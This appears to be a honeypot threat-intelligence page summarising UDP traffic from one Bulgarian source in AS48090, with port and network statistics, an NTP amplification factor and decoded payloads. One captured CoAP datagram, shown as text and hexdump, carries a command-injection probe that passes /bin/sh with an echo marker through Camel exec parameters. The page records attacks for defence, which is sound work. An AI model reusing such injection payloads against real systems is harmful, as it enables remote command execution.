HoneyLabs

UDP traffic

Datagrams matching asn:48090 sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

13

Datagrams

1

Source addresses

1

Networks

1

Countries

4

Destination ports

Traffic by type

Service queries

8 datagrams from 1 source

Requests a service answers without a handshake. Scanners send them to find open DNS, NTP, SNMP or SSDP servers, which are also the servers reflection attacks abuse.

Latest CoAP datagram, to 5683/udp

D·&c·exec·=·CamelExecCommandExecutable=/bin/sh &CamelExecCommandArgs=-c 'echo CVE202633453albiisrt'·probe

payload bytes
00000000  44 02 b2 26 63 c0 e1 1d  b4 65 78 65 63 11 00 3d  |D..&c....exec..=|
00000010  15 43 61 6d 65 6c 45 78  65 63 43 6f 6d 6d 61 6e  |.CamelExecComman|
00000020  64 45 78 65 63 75 74 61  62 6c 65 3d 2f 62 69 6e  |dExecutable=/bin|
00000030  2f 73 68 0d 26 43 61 6d  65 6c 45 78 65 63 43 6f  |/sh.&CamelExecCo|
00000040  6d 6d 61 6e 64 41 72 67  73 3d 2d 63 20 27 65 63  |mmandArgs=-c 'ec|
00000050  68 6f 20 43 56 45 32 30  32 36 33 33 34 35 33 61  |ho CVE202633453a|
00000060  6c 62 69 69 73 72 74 27  ff 70 72 6f 62 65        |lbiisrt'.probe|

Unrecognised

5 datagrams from 1 source

Datagrams no decoder recognised. Their first bytes are kept.

Latest Unrecognised datagram, to 500/udp

·J·}S;·d ·0·$·<·G@)·F·

payload bytes
00000000  d7 15 cc 4a 91 7d 53 3b  00 00 00 00 00 00 00 00  |...J.}S;........|
00000010  01 10 02 00 00 00 00 00  00 00 00 64 0d 00 00 30  |...........d...0|
00000020  00 00 00 01 00 00 00 01  00 00 00 24 01 01 00 01  |...........$....|
00000030  00 00 00 1c 01 01 00 00  80 01 00 07 80 0e 01 00  |................|
00000040  80 02 00 02 80 03 00 03  80 04 00 02 00 00 00 18  |................|
00000050  3c f1 87 b2 47 40 29 ea  46 ac 7f d0 ea f2 89 f5  |<...G@).F.......|
00000060  00 00 00 04                                       |....|

Amplification checks

Probes for services that answer a small request with a much larger reply, the property reflection attacks rely on.

ServicePortDatagramsSourcesFactor
NTP123/udp31556.9

The factor is how many bytes a reachable server can send back for each byte it receives, as published by CISA in alert TA14-017A.

Destination ports

Networks

Countries

Source addresses (unverified)

AddressNetworkCcSendsDatagramsLast seen (UTC)
93.123.109.214AS48090 Techoff Srv LimitedBGCoAP132026-10-10 18:23

Latest datagrams